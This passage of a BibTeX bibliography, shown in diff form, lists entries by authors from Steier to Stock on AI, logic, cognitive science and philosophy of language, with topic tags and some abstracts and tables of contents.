steier:1996a, + author = {David M. Steier}, + title = {Mediating Matters: Response to {S}haw}, + booktitle = {Mind Matters: A Tribute to {A}llen {N}ewell}, + publisher = {Lawrence Erlbaum Associates, Inc.}, + year = {1996}, + editor = {David M. Steier and Tom M. Mitchell}, + address = {Mahwah, New Jersey}, + pages = {253--257}, + topic = {multiple-databases;SOAR;} + } + +@book{ steier-mitchell:1996a, + editor = {David M. Steier and Tom M. Mitchell}, + title = {Mind Matters: A Tribute to {A}llen {N}ewell}, + publisher = {Lawrence Erlbaum Associates}, + year = {1996}, + address = {Mahwah, New Jersey}, + topic = {SOAR;cognitive-architectures;} + } + +@unpublished{ stein:1990a, + author = {Lynn Andrea Stein}, + title = {Extensions as Possible Worlds}, + year = {1990}, + note = {Unpublished manuscript, Brown University}, + missinginfo = {Date is a guess.}, + topic = {nonmonotonic-logic;} + } + +@phdthesis{ stein:1990c, + author = {Lynn Stein}, + title = {Resolving Ambiguity in Nonmonotonic Reasoning}, + school = {Computer Science Department, Brown University}, + year = {1990}, + topic = {inheritance-theory;} + } + +@book{ stein_e:1996a, + author = {Edward Stein}, + title = {Without Good Reason: The Rationality Debate in Philosophy + and Cognitive Science}, + publisher = {Oxford University Press}, + year = {1996}, + address = {Oxford}, + topic = {rationality;foundations-of-cognitive-science;} + } + +@unpublished{ stein_l:1995a, + author = {Lynn A. Stein}, + title = {Imagination and Situated Cognition}, + year = {1995}, + note = {Manuscript, Artificial Intelligence Laboratory, MIT.}, + missinginfo = {Date is a guess}, + topic = {cognitive-robotics;} + } + +@inproceedings{ stein_la:1989a, + author = {Lynn Andrea Stein}, + title = {Skeptical Inheritance: Computing the Intersection of + Credulous Extensions}, + booktitle = {Proceedings of the Eleventh International Joint + Conference on Artificial Intelligence}, + year = {1989}, + editor = {N.S. Sridharan}, + pages = {1153--1158}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {inheritance-theory;} + } + +@unpublished{ stein_la:1990a, + author = {Lynn Andrea Stein}, + title = {Extensions as Possible Worlds}, + year = {1990}, + note = {Unpublished manuscript, Brown University}, + missinginfo = {Date is a guess.}, + topic = {inheritance-theory;} + } + +@techreport{ stein_la:1990b, + author = {Lynn Andrea Stein}, + title = {A Preference-Based Approach to Inheritance}, + institution = {Computer Science Department, Brown University}, + number = {CS--90--08}, + year = {1990}, + address = {Prividence, Rhode Island}, + topic = {inheritance-theory;} + } + +@article{ stein_la:1992a, + author = {Lynn Andrea Stein}, + title = {Resolving Ambiguity in Nonmonotonic Inheritance Hierarchies}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {55}, + number = {2--3}, + pages = {259--310}, + topic = {inheritance-theory;} + } + +@unpublished{ stein_la:1993a, + author = {Lynn Andrea Stein}, + title = {Philosophy as Engineering}, + year = {1993}, + note = {Unpublished manuscript, MIT.}, + topic = {foundations-of-AI;probabilistic-reasoning;} + } + +@article{ stein_la-morgenstern:1994a, + author = {Lynn Andrea Stein and Leora Morgenstern}, + title = {Motivated Action Theory: A Formal Theory of Causal + Reasoning}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {71}, + number = {1}, + pages = {1--42}, + topic = {causality;frame-problem;Yale-shooting-problem;action-effects; + foundations-of-planning;} + } + +@incollection{ steinberg:1971a, + author = {Danny Steinberg}, + title = {Overview}, + booktitle = {Semantics: An Interdisciplinary Reader in Philosophy, + Linguistics, and Psychology}, + publisher = {Cambridge University Press}, + year = {1971}, + editor = {Danny D. Steinberg and Leon A. Jacobovits}, + pages = {485--496 } , + address = {Cambridge, England}, + topic = {psycholinguistics;nl-semantics;} + } + +@book{ steinberg_dd-jacobovits:1971a, + editor = {Danny D. Steinberg and Leon A. Jacobovits}, + title = {Semantics: An Interdisciplinary Reader in Philosophy, + Linguistics, and Psychology}, + publisher = {Cambridge University Press}, + year = {1971}, + address = {Cambridge, England}, + contentnote = {TC: + 1. Charles E. Caton, "Overview", pp. 3--13 + 2. David Wiggins, "On Sentence-Sense, Word-Sense, and Difference + of Word-Sense. Towards a Philosophical Theory + of Dictionaries", pp. 13--34 + 3. William P. Alston, "How Does One Tell if a Word Has One, + Several, or Many Senses?", pp. 35--47 + 4. David Wiggins, "A Reply to {M}r. {A}lston", pp. 48--52 + 5. H. Paul Grice, "Meaning", pp. 53--65 + 6. Gilbert H. Harman, "Three Levels of Meaning", pp. 66--75 + 7. Leonard Linsky, "Reference and Referents", pp. 76--85 + 8. Peter F. Strawson, "Identifying Reference and + Truth-Values", pp. 86--99 + 9. Keith Donnellan, "Reference and Definite + Descriptions", pp. 100--114 + 10. Zeno Vendler, "Singular Terms", pp. 115--133 + 11. John R. Searle, "The Problem of Proper Names", pp. 134--141 + 12. Willard V. Quine, "The Inscrutability of Reference", pp. 142--154 + 13. Howard Maclay, "Overview", pp. 157--182 + 14. Noam Chomsky, "Deep Structure, Surface Structure, and + Semantic Interpretation", pp. 183--216 + 15. James D. McCawley, "Where Do Noun Phrases Come + From?", pp. 217--231 + 16. George Lakoff, "On Generative Semantics", pp. 232--296 + 17. Jerrold Katz, "Semantic Theory", pp. 297--307 + 18. Uriel Weinreich, "Explorations in Semantic Theory", pp. 308--328 + 19. George Lakoff, "Presuppositions and Relative + Well-Formedness", pp. 329--340 + 20. D. Terence Langendoen, "Presupposition and the Semantic + Analysis of Nouns and Verbs in {E}nglish", pp. 341--344 + 21. Paul Kiparsky and Carol Kiparsky, "Fact", pp. 345--369 + 22. Charles J. Fillmore, "Types of Lexical Information", pp. 370--392 + 23. Edward H. Bendix, "The Data of Semantic + Description", pp. 393--409 + 24. Manfred Bierwisch, "On Classifying Semantic + Features", pp. 410--435 + 25. R.M.W. Dixon, "A Method of Semantic Description", pp. 436--471 + 26. Kenneth Hale, "A Note on the {W}albiri Tradition of + Antonymy", pp. 472--482 + 27. Danny Steinberg, "Overview", pp. 485--496 + 28. Charles E. Osgood, "Where Do Sentences Come From?", pp. 497--529 + 29. David McNeil, "Are There Specifically Linguistic + Universals?", pp. 530--535 + 30. Eric H. Lenneberg, "Language and Cognition", pp. 536--557 + 31. Jerry A. Fodor, "Could Meaning be a $\gamma_m$?", pp. 558--568 + 32. George A. Miller, "Empirical Methods in the Study of + Semantics", pp. 569--585 + 33. Thomas A. Bever and Peter S. Rosenbaum, "Some Lexical + Structures and Their Empirical Validity", pp. 586--599 + } , + topic = {nl-semantics;semantics-survey;} + } + +@article{ steinberg_l-langrana:1996a, + author = {L. Steinberg and N. Langrana}, + title = {{EVEXED} and {MEET} for Mechanical Design: Testing Structural + Decomposition and Constraint Propagation}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {84}, + number = {1--2}, + pages = {37--56}, + acontentnote = {Abstract: + In previous work we have developed a model of design which can + be summarized as structural decomposition plus constraint + propagation, and embodied it in VEXED, a system for circuit + design. In this paper we report on work we have done to test + the generality of this model of design by abstracting VEXED into + a domain independent shell, EVEXED, and using EVEXED to + implement MEET, a system for mechanical design. This work + demonstrates that the basic model of design can be used for + some, but not all, areas of mechanical design. In particular, + this approach is not appropriate for design involving parameter + selection for primitive parts or design involving large + searches. This work also demonstrates the importance of + combining multiple models of design to handle different aspects + of the same artifact. Finally, it demonstrates the importance + of testing ideas about design on multiple tasks and domains. } , + topic = {constraint-propagation;circuit-design;} + } + +@article{ steinberg_l:2001a, + author = {Louis Steinberg}, + title = {Searching Stochastically Generated Multi-Abstraction-Level + Design Spaces}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {129}, + number = {1--2}, + pages = {63--90}, + topic = {heuristics;search;genetic-algorithms;abstraction;} + } + +@book{ steiner-veltman:1988a, + editor = {Erich H. Steiner and Robert Veltman}, + title = {Pragmatics, Discourse and Text: Some Systemically-Inspired + Approaches}, + publisher = {Ablex Publishing Corp.}, + year = {1988}, + address = {Norwood, New Jersey}, + topic = {discourse-analysis;} + } + +@book{ steinitz:1996a, + author = {Yuval Steinitz}, + title = {In Defense of Metaphysics}, + publisher = {P. Lang}, + year = {1996}, + address = {New York}, + ISBN = {0820424471 (hard)}, + topic = {metaphysics;} + } + +@article{ stell:2000a, + author = {J. G. Stell}, + title = {Boolean Connection Algebras: A New Approach to The + Region-Connection Calculus}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {122}, + number = {1--2}, + pages = {111--136}, + topic = {region-connection-calculus;spatial-reasoning;} + } + +@article{ stelzner:1992a, + author = {Werner Stelzner}, + title = {Relevant Deontic Logic}, + journal = {Journal of Philosophical Logic}, + year = {1992}, + volume = {21}, + number = {2}, + pages = {193--216}, + topic = {relevance-logic;deontic-logic;} + } + +@book{ stenlund:1974a, + editor = {S{\o}ren Stenlund}, + title = {Logical Theory and Semantic Analysis: Essays Dedicated to + {S}tig {K}anger on his Fiftieth Birthday}, + publisher = {D. Reidel Publishing Co.}, + year = {1974}, + address = {Dordrecht}, + ISBN = {9027704384}, + contentnote = {TC: + 1. David K. Lewis, "Semantic Analyses for Dyadic Deontic Logic" + 2. Arto Salomaa, "Some Remarks Concerning Many-Valued + Propositional Logics" + 3. Brian F. Chellas, "Conditional Obligation" + 4. Richard C. Jeffrey, Remarks on Interpersonal Utility Theory" + 5. Jaakko Hintikka, "On the Proper Treatment of Quantifiers in + {M}ontague Semantics" + 6. B.H. Mayoh, "Extracting Information from Logical Proofs" + 7. Lennart {\AA}qvist, "A New Approach to the Logical Theory of + Actions and Causality" + 8. Ingmar P\"orn, "Some Basic Concepts of Action" + 9. K. de Bouv\'ere, "Some Remarks Concerning Logical and + Ontological Theories" + 10. Ian Hacking, "Combined Evidence" + 11. C. \"Aberg, "Solution to a problem raised by Stig Kanger and a + Set Theoretical Statement Equivalent to the Axiom of Choice" + 12. Per Lindstr\"om, "On Characterizing Elementary Logic" + 13. Dana Scott, "Rules and Derived Rules" + 14. Bengt Hansson, A Program for Pragmatics" + 15. G. Hermer\'en, "Models" + 16. Jens E. Fenstad, "Remarks on Logic and Probability" + 17. S{\o}ren Stenlund, "Analytic and Synthetic Arithmetical + Statements" } , + topic = {philosophical-logic;} + } + +@incollection{ stenning:1985a, + author = {Keith Stenning}, + title = {On Making Models: A Study of Constructive Memory}, + booktitle = {Reasoning and Discourse Processes}, + publisher = {Academic Press}, + year = {1985}, + editor = {Terry Myers and Keith Brown and Brendan McGonigle}, + pages = {165--185}, + address = {New York}, + topic = {pragmatic-inference;} + } + +@incollection{ stenning:1995a, + author = {Keith Stenning}, + title = {Logic as a Foundation for a Cognitive Theory of Modality + Assignment}, + booktitle = {Applied Logic: How, What, and Why? Logical Approaches to + Natural Language}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {L\'aszl\'o P\'olos and Michael Masuch}, + pages = {321--342}, + address = {Dordrecht}, + topic = {nl-modality;} + } + +@incollection{ stenning-etal:1995a, + author = {Keith Stenning and Robert Inder and Irene Nelson}, + title = {Applying Semantic Concepts to Analyzing Media and + Modalities}, + booktitle = {Diagrammatic Reasoning}, + publisher = {The {MIT} Press}, + year = {1995}, + editor = {Janice Glasgow and N. Hari Narayanan and B. + Chandrasekaran}, + pages = {303--338}, + address = {Cambridge, Massachusetts}, + topic = {diagrams;reasoning-with-diagrams; + multimedia-interpretation;visual-reasoning;} + } + +@article{ stenning-oberlander:1995a, + author = {Keith Stenning and Jon Oberlander}, + title = {A Cognitive Theory of Graphical and Linguistic + Reasoning: Logic and Implementation}, + journal = {Cognitive Science}, + year = {1995}, + volume = {19}, + number = {1}, + pages = {97--140}, + topic = {diagrammatic-reasoning;} + } + +@incollection{ stenning:1996a, + author = {Keith Stenning}, + title = {What's Happening? Elements of Commonsense Causation}, + booktitle = {Philosophy and Cognitive Science}, + publisher = {Kluwer Academic Publishers}, + year = {1996}, + editor = {Andy Clark and Jes\'us Ezquerro and Jes\'us M. Larrazabal}, + address = {Dordrecht}, + missinginfo = {pages}, + topic = {causality;common-sense-reasoning;} + } + +@article{ stenning:2000a, + author = {Keith Stenning}, + title = {Review of {\em The Human Semantic Potential: Spatial Language and + Constrained Connectionism}, by {T}erry {R}egier}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {10}, + number = {2}, + pages = {266--269}, + xref = {Review of: regier:1996a.}, + topic = {spatial-language;connectionist-models;} + } + +@article{ stenning-vanlambargen:2001a, + author = {Keith Stenning and Michiel van Lambargen}, + title = {Semantics as a Foundation for Psychology: A Case Study + of {W}ason's Selection Task}, + journal = {Journal of Logic, Language, and Information}, + year = {2001}, + volume = {10}, + number = {3}, + pages = {273--317}, + topic = {conditionals;cognitive-psychology;} + } + +@article{ stenning-lemon_o:forthcominga, + author = {Keith Stenning and Oliver J. Lemon}, + title = {Aligning Logical and Psychological Perspectives + On Diagrammatic Reasoning}, + journal = {Artificial Intelligence Review}, + year = {forthcoming}, + volume = {19}, + missinginfo = {Said to be forthcoming in July, 1999.}, + topic = {diagrammatic-reasoning;} + } + +@book{ stenstrom:1994a, + author = {Anna-Brita Stenstr\"om}, + title = {An Introduction to Spoken Interaction}, + publisher = {Longman}, + year = {1994}, + address = {London}, + topic = {discourse-analysis;corpus-linguistics;transcription-pragmatics;} +} + +@article{ stepankova-havel:1976a, + author = {Olga \v{S}t\v{e}p\'ankov\'a and Ivan M. Havel}, + title = {A Logical Theory of Robot Problem Solving}, + journal = {Artificial Intelligence}, + year = {1976}, + volume = {7}, + number = {2}, + pages = {129--161}, + acontentnote = {Abstract: + The concept of an image space, motivated by the STRIPS system, + is introduced as a formal logical counterpart to the state-space + problem solving in robotics. The main results are two + correspondence theorems establishing a relationship between + solutions of problems formalized in the image space and formal + proofs of certain formulas in the associated situation calculus. + The concept of a solution, as used in the second correspondence + theorem, has a rather general form allowing for conditional + branching. Besides giving a deeper insight into the logic of + problem solving the results suggest a possibility of using the + advantages of the image-space representation in the situation + calculus and conversely. The image space approach is further + extended to cope with the frame problem in a similar way as + STRIPS. Any STRIPS problem domain can be associated with an + appropriate image space with frames of the same solving power. + } , + topic = {STRIPS;cognitive-robotics;state-space-problem-solving; + situation-calculus;frame-problem;} + } + +@article{ stephanou:2001a, + author = {Yannis Stephanou}, + title = {Indexed Actuality}, + journal = {Journal of Philosophical Logic}, + year = {2001}, + volume = {30}, + number = {4}, + pages = {355--393}, + topic = {actuality;modal-logic;} + } + +@article{ stepp-michalski:1986a, + author = {Robert E. Stepp and Ryszard S. Michalski}, + title = {Conceptual Clustering of Structured Objects: A + Goal-Oriented Approach}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {28}, + number = {1}, + pages = {43--69}, + acontentnote = {Abstract: + Conceptual clustering is concerned with problems of grouping + observed entities into conceptually simple classes. Earlier work + on this subject assumed that the entities and classes are + described in terms of a priori given multi-valued attributes. + This research extends the previous work in three major ways: + - entities are characterized as compound objects requiring + structural descriptions. + - relevant descriptive concepts (attributes and relations) are + not necessarily given a priori but can be determined through + reasoning about the goals of classification, + - inference rules are used to derive useful high-level + descriptive concepts from the initially provided low-level concepts. + The created classes are described using Annotated Predicate + Calculus (APC), which is a typed predicate calculus with + additional operators. Relevant descriptive concepts appropriate + for characterizing entities are determined by tracing links in a + Goal Dependency Network (GDN) that represents relationships + between goals, subgoals, and related attributes. + An experiment comparing results from the program CLUSTER/S that + implements the classification generation process and results + obtained from people indicates that the proposed method might + offer a plausible cognitive model of classification processes as + well as an engineering solution to the problems of automatic + classification generation. } , + topic = {conceptual-clustering;classifier-algorithms;} + } + +@article{ sterelny:1982a, + author = {Kim Sterelny}, + title = {Against Conversational Implicature}, + journal = {Journal of Semantics}, + year = {1982}, + volume = {1}, + pages = {187--194}, + missinginfo = {number}, + topic = {implicature;} + } + +@article{ sterelny:1984a, + author = {Kim Sterelny}, + title = {Review of {\em Knowing Who}, by {S}teven {E}. {B}o\"er and + {W}illiam {L}ycan}, + journal = {Philosophy of Science}, + year = {1984}, + volume = {51}, + number = {1}, + pages = {654--656}, + xref = {Review of boer-lycan:1986a.}, + topic = {knowing-who;} + } + +@article{ stergiou-koubarakis:2000a, + author = {Kostas Stergiou and Manolis Koubarakis}, + title = {Backtracking Algorithms for Disjunctions of Temporal + Constraints}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {120}, + number = {1}, + pages = {81--117}, + topic = {AI-algorithms;backtracking;temporal-reasoning; + constraint-satisfaction;} + } + +@book{ sterling-shapiro:1994a, + author = {Leon Sterling and Ehud Shapiro}, + title = {The Art of {P}rolog}, + publisher = {The {MIT} Press}, + year = {1994}, + edition = {2}, + address = {Cambridge, Massachusetts}, + topic = {Prolog;} + } + +@book{ stern_g:1968a, + author = {Gustaf Stern}, + title = {Meaning and Change of Meaning, with + Special Reference to the {E}nglish Language}, + publisher = {Indiana University Press}, + year = {1968}, + address = {Bloomington, Indiana}, + topic = {semantic-change;} + } + +@book{ stern_j:2000a, + author = {Josef Stern}, + title = {Metaphor in Context}, + publisher = {The {MIT} Press}, + year = {2000}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-19439-2}, + topic = {metaphor;} + } + +@book{ sternberg:1998a, + editor = {Robert J. Sternberg}, + title = {The Nature of Cognition}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + topic = {foundations-of-cognition;cognitive-psychology;} + } + +@article{ sternefeld:1998a, + author = {Wolfgang Sternefeld}, + title = {Reciprocity and Cumulative Predication}, + journal = {Natural Language Semantics}, + year = {1998}, + volume = {6}, + number = {3}, + pages = {303--337}, + topic = {plural;reciprical-constructions;nl-semantics;} + } + +@incollection{ stetina-etal:1998a, + author = {Jiri Stetina and Sadao Kurohashi and Makoto Nagao}, + title = {General Word Sense Disambiguation Method Based + on A Full Sentential Context}, + booktitle = {Use of {W}ord{N}et in Natural Language Processing + Systems: Proceedings of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Sanda Harabagiu}, + pages = {1--8}, + address = {Somerset, New Jersey}, + topic = {nl-processing;WordNet;lexical-disambiguation;} + } + +@incollection{ stevens:1959a, + author = {Stanley S. Stevens}, + title = {Measurement, Psychophysics and Utility}, + booktitle = {Measurement: Definitions and Theories}, + publisher = {John Wiley and Sons}, + year = {1959}, + editor = {C. West Churchman and Philburn Ratoosh}, + pages = {18--63}, + address = {New York}, + topic = {measurement-theory;} + } + +@article{ stevens:1981a, + author = {Kent A. Stevens}, + title = {The Visual Interpretation of Surface Contours}, + journal = {Artificial Intelligence}, + year = {1981}, + volume = {17}, + number = {1--3}, + pages = {47--73}, + acontentnote = {Abstract: + This article examines the computational problems underlying the + 3-D interpretation of surface contours. A surface contour is the + image of a curve across a physical surface, such as the edge of + a shadow cast across a surface, a gloss contour, wrinkle, seam, + or pigmentation marking. Surface contours by and large are not + as restricted as occluding contours and therefore pose a more + difficult interpretation problem. Nonetheless, we are adept at + perceiving a definite 3-D surface from even simple line drawings + (e.g., graphical depictions of continuous functions of two + variables). The solution of a specific surface shape comes by + assuming that the physical curves are particularly restricted in + their geometric relationship to the underlying surface. These + geometric restrictions are examined. } , + topic = {three-D-reconstruction;visual-reasoning;line-drawings;} + } + +@book{ stevenson_cl:1944a, + author = {Charles L. Stevenson}, + title = {Ethics and Language}, + publisher = {Yale University Press}, + year = {1944}, + address = {New Haven, Connecticut}, + contentnote = {Chapter III is titles "Some pragmatic aspects of meaning". + Among other things, it formulates a definition of speaker + meaning.}, + contentnote = { TC: + 1. Kinds of agreement and disagreement + 2. Working models + 3. Some pragmatic aspects of meaning + 4. First pattern of analysis + 5. First pattern: method + 6. Persuasion + 7. Validity + 8. Intrinsic and extrensic value + 9. Second pattern of analyis: persuasive definitions + 10. Second pattern: method + 11. Moralists and propagandists + 12. Some related theories + 13. Further observations on the function of definitions + 14. Avoidability: indeterminism + 15. Practical implications + } , + topic = {ethics;philosophy-of-language;pragmatics;} + } + +@article{ stevenson_l:1973a, + author = {Leslie Stevenson}, + title = {Relative Identity and {L}eibniz's Law}, + journal = {Philosophical Quarterly}, + year = {1973}, + pages = {155--158}, + missinginfo = {volume,number}, + topic = {identity;} + } + +@article{ stevenson_l:1973b, + author = {Leslie Stevenson}, + title = {Frege's Two Definitions of Quantification}, + journal = {Philosophical Quarterly}, + year = {1973}, + pages = {207--223}, + missinginfo = {volume,number}, + topic = {Frege;substitutional-quantification;} + } + +@article{ stevenson_l:1977a, + author = {Leslie Stevenson}, + title = {A Formal Theory of Sortal Quantification}, + journal = {{N}otre {D}ame Journal of Formal Logic}, + year = {1977}, + volume = {185--207}, + pages = {185--207}, + missinginfo = {number}, + topic = {sortal-quantification;} + } + +@article{ stevenson_m-wilks:2001a, + author = {Mark Stevenson and Yorik Wilks}, + title = {The Interaction of Knowledge Sources in Word Sense + Disambiguation}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {3}, + pages = {321--349}, + topic = {lexical-disambiguation;} + } + +@article{ stevenson_s:1998a, + author = {Suzanne Stevenson}, + title = {Review of {\it The Architecture of the Language Faculty}, + by {R}ay {J}ackendoff}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {4}, + pages = {652--655}, + topic = {cognitive-semantics;foundations-of-linguistics; + cognitive-modularity;} + } + +@book{ steward:1997a, + author = {Helen Steward}, + title = {The Ontology of Mind: Events, Processes, and States}, + publisher = {Oxford University Press}, + year = {1997}, + address = {Oxford}, + topic = {philosophy-of-mind;} + } + +@book{ stewart_i-tall:1977a, + author = {Ian Stewart and David Tall}, + title = {The Foundations of Mathematics}, + publisher = {Oxford University Press}, + year = {1977}, + address = {Oxford}, + ISBN = {0198531648}, + topic = {foundations-of-mathematics;} + } + +@book{ stewart_i:1990a, + author = {Ian Stewart}, + title = {Does {G}od Play Dice? The Mathematics Of Chaos}, + publisher = {Basil Blackwell}, + year = {1990}, + address = {Oxford}, + ISBN = {1557861064 (pbk.)}, + topic = {chaos-theory;} + } + +@article{ stich:1971a, + author = {Stephen Stich}, + title = {What Every Speaker Knows}, + journal = {The Philosophicl Review}, + year = {1719}, + volume = {80}, + number = {4}, + pages = {476--496}, + topic = {philosophy-of-linguistics;} + } + +@article{ stich:1972a, + author = {Stephen P. Stich}, + title = {Grammar, Psychology, and Indeterminacy}, + journal = {Journal of Philosophy}, + year = {1972}, + volume = {69}, + number = {2}, + pages = {799--818}, + topic = {philosophy-of-linguistics;} + } + +@article{ stich:1976a, + author = {Steven P. Stich}, + title = {Davidson's Semantic Program}, + journal = {Canadian Journal of Philosophy}, + year = {1976}, + volume = {6}, + number = {2}, + pages = {201--227}, + topic = {foundations-of-semantics;Davidson-semantics;} + } + +@incollection{ stich:1977a, + author = {Stephen P. Stich}, + title = {Competence and Indeterminacy}, + booktitle = {Testing Linguistic Hypotheses}, + publisher = {John Wiley and Sons}, + year = {1977}, + editor = {David Cohen and Jessica Worth}, + address = {New York}, + pages = {93--109}, + topic = {philosophy-of-linguistics;} + } + +@article{ stich:1982a, + author = {Steven Stich}, + title = {Review of `Beyond the Letter: A Philosophical Inquiry Into + Ambiguity, Vagueness and Metaphor in Language', by {I}srael + {S}cheffler}, + journal = {Linguistics and Philosophy}, + year = {1982}, + volume = {5}, + number = {2}, + pages = {295--298}, + xref = {Review of: scheffler:1982a.}, + topic = {vagueness;ambiguity;nominalistic-semantics;pragmatics;} + } + +@book{ stich:1983a, + author = {Stephen Stich}, + title = {From Folk Psychology to Cognitive Science: + The Case Against Belief}, + publisher = {The {MIT} Press}, + address = {Cambridge, Massachusetts}, + year = {1983}, + topic = {folk-psychology;foundations-of-cognitive-science;belief;} + } + +@incollection{ stich-nichols:1995a, + author = {Steven Stich and Shaun Nichols}, + title = {Second Thoughts on Simulation}, + booktitle = {Mental Simulation: Evaluations and Applications}, + publisher = {Blackwell Publishers}, + year = {1995}, + editor = {Martin Davies and Tony Stone}, + pages = {87--108}, + address = {Oxford}, + topic = {folk-psychology;theory-theory-of-folk-psychology; + mental-simulation;propositional-attitude-ascription;} + } + +@incollection{ stich-nichols:1995b, + author = {Steven Stich and Shaun Nichols}, + title = {Folk Pyschology: Simulation or Tacit Theory?}, + booktitle = {Mental Simulation: Evaluations and Applications}, + publisher = {Blackwell Publishers}, + year = {1995}, + editor = {Martin Davies and Tony Stone}, + pages = {123--158}, + address = {Oxford}, + topic = {folk-psychology;theory-theory-of-folk-psychology; + mental-simulation;propositional-attitude-ascription;} + } + +@book{ stich:1996a, + author = {Steven P. Stich}, + title = {Deconstructing the Mind}, + publisher = {Oxford University Press}, + year = {1996}, + address = {Oxford}, + topic = {philosophy-of-mind;} + } + +@inproceedings{ stickel:1982a, + author = {Mark Stickel}, + title = {A Nonclausal Connection-Graph Resolution + Theorem-Proving Program}, + booktitle = {Proceedings of the First National Conference on + Artificial Intelligence}, + year = {1982}, + pages = {229--233}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, CA}, + missinginfo = {editor}, + acontenttnote= {Abstract: A new theorem-proving program, combining the use + of nonclausal resolution and connection graphs, is described. + The use of nonclausal resolution as the inference system + eliminates some of the redundancy and unreadability of + clause-based systems. The use of a connection graph restricts + the search space and facilitates graph searching for + efficient deduction.}, + topic = {theorem-proving;resolution;} + } + +@techreport{ stickel:1984a, + author = {Mark E. Stickel}, + title = {Automated Deduction by Theory Resolution}, + institution = {AI Center, SRI International}, + address = {333 Ravenswood Ave., Menlo Park, CA 94025}, + number = {340}, + year = {1984}, + TYPE= {Technical Note}, + topic = {theorem-proving;resolution;} +} + +@inproceedings{ stickel:1985a, + author = {Mark J. Stickel}, + title = {Automated Deduction by Theory Resolution}, + booktitle = {IJCAI 85, Proceedings of the Ninth International + Joint Conference on Artificial Intelligence}, + year = {1985}, + editor = {Arivind Joshi}, + pages = {455--458}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {theorem-proving;extensions-of-resolution;resolution;kr-course;} + } + +@article{ stickel:1986a, + author = {Mark Stickel}, + title = {Schubert's Steamroller Problem: Formulations and Solutions}, + journal = {Journal of Automated Reasoning}, + year = {1986}, + volume = {2}, + pages = {89--101}, + topic = {theorem-proving;} + } + +@techreport{ stickel:1987a, + author = {Mark E. Stickel}, + title = {A Prolog Technology Theorem Prover: + Implementation by an Extended, {P}rolog Compiler}, + institution = {AI Center, SRI International}, + address = {333 Ravenswood Ave., Menlo Park, CA 94025}, + number = {382}, + year = {1987}, + topic = {abduction;logic-programming;} +} + +@techreport{ stickel:1988a, + author = {Mark Stickel}, + title = {A Prolog-Like Inference System for Computing Minimum-Cost + Abductive Explanations in Natural-Language Interpretation}, + institution = {AI Center, SRI International}, + address = {333 Ravenswood Ave., Menlo Park, CA 94025}, + number = {451}, + year = {1988}, + topic = {abduction;} + } + +@incollection{ stickel:1989a, + author = {Mark Stickel}, + title = {Rationale and Methods for Abductive Reasoning in + Natural-Language Interpretation}, + booktitle = {Notes in Artificial Intelligence 48: Proceedings, + Natural Language and Logic, International Scientific + Symposium}, + publisher = {Springer-Verlag}, + year = {1989}, + editor = {R.~Struder}, + pages = {233--252}, + address = {Berlin}, + topic = {abduction;discourse;nl-interpretation;pragmatics;} + } + +@techreport{ stickel:1989b1, + author = {Mark Stickel}, + title = {A Prolog Technology Theorem Prover: A New Exposition and + Implementation in {P}rolog}, + institution = {AI Center, SRI International}, + address = {333 Ravenswood Ave., Menlo Park, CA 94025}, + number = {464}, + year = {1991}, + xref = {Journal publication: stickel:1989b2.}, + topic = {abduction;logic-programming;} + } + +@techreport{ stickel:1989c, + author = {Mark E. Stickel}, + title = {The Path-Indexing Method For Indexing Terms}, + institution = {AI Center, SRI International}, + address = {333 Ravenswood Ave., Menlo Park, CA 94025}, + number = {473}, + year = {1989}, + acontentnote = {Abstract: The path-indexing method for indexing + first-order predicate calculus terms is a refinement of the standard + coordinate-indexing method. Path indexing offers much faster + retrieval at a modest cost in space. Path indexing is compared with + discrimination-net and codeword indexing. While discrimination-net + indexing may often be the preferred method for maximum speed, path + indexing is an effective alternative if discrimination-net indexing + requires too much space.}, + type= {Technical Note}, + topic = {theorem-proving;} +} + +@article{ stickel:1992a, + author = {Mark E. Stickel}, + title = {A {Prolog} Technology Theorem Prover: + A New Exposition and Implementation in {P}rolog}, + journal = {Theoretical Computer Science}, + volume = {104}, + year = {1992}, + pages = {109--128}, + xref = {Publication of stickel:1989b1.}, + topic = {abduction;logic-programming;} + } + +@techreport{ stickel:1993a, + author = {Mark Stickel}, + title = {Upside-Down Meta-Interpretation of the Model Elimination + Theorem-Proving Procedure for Deduction and Abduction}, + institution = {SRI International}, + number = {525}, + year = {1993}, + address = {333 Ravenswood Ave., Menlo Park, California}, + topic = {abduction;} + } + +@techreport{ stickel:1993b, + author = {Mark E. Stickel}, + title = {Automated Theorem-Proving Research In The Fifth Generation + Computer Systems Project: Model Generation Theorem Provers}, + institution = {AI Center, SRI Center International}, + address = {333 Ravenswood Ave., Menlo Park, CA 94025}, + number = {523}, + year = {1993}, + topic = {theorem-proving;model-construction;} +} + +@book{ stirling:1993a, + author = {L. Stirling}, + title = {Switch-Reference and Discourse Representation}, + publisher = {Cambridge University Press}, + year = {1993}, + address = {Cambridge, England}, + missinginfo = {A's 1st name.}, + topic = {switch-reference;discourse-representation-theory;} + } + +@article{ stjohn-mcclelland:1990a, + author = {Mark F. St. John and James L. McClelland}, + title = {Learning and Applying Contextual Constraints in Sentence + Comprehension}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {46}, + number = {1--2}, + pages = {217--257}, + topic = {connectionist-plus-symbolic-architectures;} + } + +@book{ stock:1997a, + editor = {Oliviero Stock}, + title = {Spatial and Temporal Reasoning}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + address = {Dordrecht}, + contentnote = {TC: + 1. Laure Vieu, "Spatial Representation and Reasoning in + {AI}", pp. 5--41 + 2. Alfonso Gerevini, "Reasoning about Time and Actions in + {AI}", pp. 